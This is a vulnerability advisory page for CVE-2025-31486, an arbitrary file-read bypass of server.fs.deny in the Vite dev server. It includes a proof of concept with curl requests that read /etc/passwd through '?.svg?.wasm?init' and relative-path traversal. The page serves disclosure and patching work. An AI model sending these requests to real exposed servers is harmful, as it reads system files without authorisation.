BREW-VITE-CVE-2025-31486 (GHSA-XCJ6-PQ6G-QJ4X)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:48 – Updated: 2026-11-13 11:40 – Source websiteSummary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
.svg
Requests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.
relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).
PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "6.2.5"
},
"package": {
"ecosystem": "Homebrew",
"name": "vite",
"purl": "pkg:brew/vite"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.1"
},
{
"fixed": "6.2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "npm",
"key": "pkg:npm/vite@8.3.8",
"name": "vite",
"strategy": "registry",
"subject_version": "8.3.8"
}
]
},
"details": "### Summary\n\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\n\nOnly apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n\n#### `.svg`\n\nRequests ending with `.svg` are loaded at this line.\nhttps://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290\nBy adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass.\n\nThis bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+.\n\n#### relative paths\n\nThe check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`).\n\n### PoC\n\n```bash\nnpm create vite@latest\ncd vite-project/\nnpm install\nnpm run dev\n```\n\nsend request to read `etc/passwd`\n\n```bash\ncurl \u0027http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init\u0027\n```\n\n```bash\ncurl \u0027http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import\u0026?raw\u0027\n```",
"id": "BREW-vite-CVE-2025-31486",
"modified": "2026-11-13T11:40:17Z",
"published": "2026-08-13T17:48:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31486"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/62d7e81ee189d65899bb65f3263ddbd85247b647"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitejs/vite"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vite allows server.fs.deny to be bypassed with .svg or relative paths",
"upstream": [
"GHSA-xcj6-pq6g-qj4x",
"CVE-2025-31486"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.